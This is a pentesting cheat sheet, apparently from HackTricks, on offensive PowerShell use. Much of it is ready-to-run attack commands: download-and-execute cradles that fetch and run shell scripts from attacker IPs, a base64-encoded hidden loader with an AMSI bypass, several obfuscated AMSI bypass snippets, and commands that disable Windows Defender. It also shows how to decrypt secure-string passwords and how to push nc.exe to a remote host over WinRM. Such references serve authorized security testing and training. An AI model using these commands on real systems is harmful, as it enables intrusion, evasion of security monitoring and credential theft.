# Basic PowerShell for Pentesters {{#include ../../banners/hacktricks-training.md}} ## Default PowerShell locations ```bash C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Basic PS commands to start ```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic Get-Help Get-Item -Examples #List examples Import-Module Get-Command -Module ``` ## Download & Execute ```bash echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd( #https://twitter.com/Alh4zr3d/status/1566489367232651264 #host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` ### Download & Execute in background with AMSI Bypass ```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Using b64 from linux ```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## Download ### System.Net.WebClient ```bash (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest ```bash Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget ```bash wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer ```bash Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ## Base64 Kali & EncodedCommand ```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` ## [Execution Policy](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy) ## [Constrained language](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## [AppLocker Policy](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## Enable WinRM (Remote PS) ```bash enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private #Requires -RunasAdministrator Get-NetConnectionProfile | Where{ $_.NetWorkCategory -ne 'Private'} | ForEach { $_ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Disable Defender ```bash # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions # Disable Set-MpPreference -DisableRealtimeMonitoring $true #To completely disable Windows Defender on a computer, use the command: New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force # Set exclusion path Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring Add-MpPreference -ExclusionPath (pwd) # Check exclusions configured via GPO Parse-PolFile .\Registry.pol KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions ValueName : Exclusions_Paths ValueType : REG_DWORD ValueLength : 4 ValueData : 1 KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths ValueName : C:\Windows\Temp ValueType : REG_SZ ValueLength : 4 ValueData : 0 ``` ### AMSI bypass **`amsi.dll`** is **loaded** into your process, and has the necessary **exports** for any application interact with. And because it's loaded into the memory space of a process you **control**, you can change its behaviour by **overwriting instructions in memory**. Making it not detect anything. Therefore, the goal of the AMSI bypasses you will use is to **overwrite the instructions of that DLL in memory to make the detection useless**. **AMSI bypass generator** web page: [**https://amsi.fail/**](https://amsi.fail/) ```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) # Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " " ). GetField([string](38..51|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " ",'NonPublic,Static'). SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI [Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI &( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI ${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s') ${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c') ${1}.SetValue($null,$true) # Another Method $a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u)) $field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $field.SetValue($null,$true) # AMSI Bypass in python https://fluidattacks.com/blog/amsi-bypass-python/ # Testing for Amsi Bypass: https://github.com/rasta-mouse/AmsiScanBufferBypass # Amsi-Bypass-Powershell https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell https://blog.f-secure.com/hunting-for-amsi-bypasses/ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ``` ### AMSI Bypass 2 - Managed API Call Hooking Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduction: This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program. The steps performing API cal hooking of .NET methods are: 1. Identify the target method to hook 2. Define a method with the same function prototype as the target 3. Use reflection to find the methods 4. Ensure each method has been compiled 5. Find the location of each method in memory 6. Overwrite the target method with instructions pointing to our malicious method ### AMSI Bypass 3 - SeDebug Privilege [**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) you can see how with enough privileges to debug processes, you can spawn a powershell.exe process, debug it, monitor when it loads `amsi.dll` and disable it. ### AMSI Bypass - More Resources - Check the page about **[Bypassing AVs & AMSI](../av-bypass.md)** - [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) - [Amsi Bypass on Windows 11 In 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) ## PS-History ```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## Find a newer files Options : `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` ```bash # LastAccessTime: (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName # LastWriteTime: (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName ``` ## Get permissions ```bash Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## OS version and HotFixes ```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Environment ```bash Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` ## Other connected drives ```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Recycle Bin ```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` [https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) ## Domain Recon {{#ref}} powerview.md {{#endref}} ## Users ```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Secure String to Plaintext ```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) $cred.GetNetworkCredential() | fl UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` Or directly parsing form XML: ```bash $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO ```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) #For local: Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')" #For WINRM #CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user) Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred #DOWNLOAD nc.exe Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}' #Another method $secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $computer = "" ``` ## Groups ```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Clipboard ```bash Get-Clipboard ``` Perform some clipboard monitoring using: - [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) - [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) ## Processes ```bash Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Services ``` Get-Service ``` ## Password from secure string ```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## Scheduled Tasks ```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ## Network ### Port Scan ```bash # Check Port or Single IP Test-NetConnection -Port 80 10.10.10.10 # Check Port List in Single IP 80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null # Check Port Range in single IP 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null # Check Port List in IP Lists - 80,443,445,8080 "10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null} ``` ### Interfaces ```bash Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Firewall ```bash Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow # Open SSH to the world New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow # Get name, proto, local and rremote ports, remote address, penable,profile and direction ## You can user the following line changing the initial filters to indicat a difefrent direction or action Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### Route ```bash route print ``` ### ARP ```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts ```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping ```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP ```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **Converting the SDDL String into a Readable Format** ```bash PS C:\> ConvertFrom-SddlString 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Owner : BUILTIN\Administrators Group : BUILTIN\Administrators DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...} SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...} RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor ``` {{#include ../../banners/hacktricks-training.md}}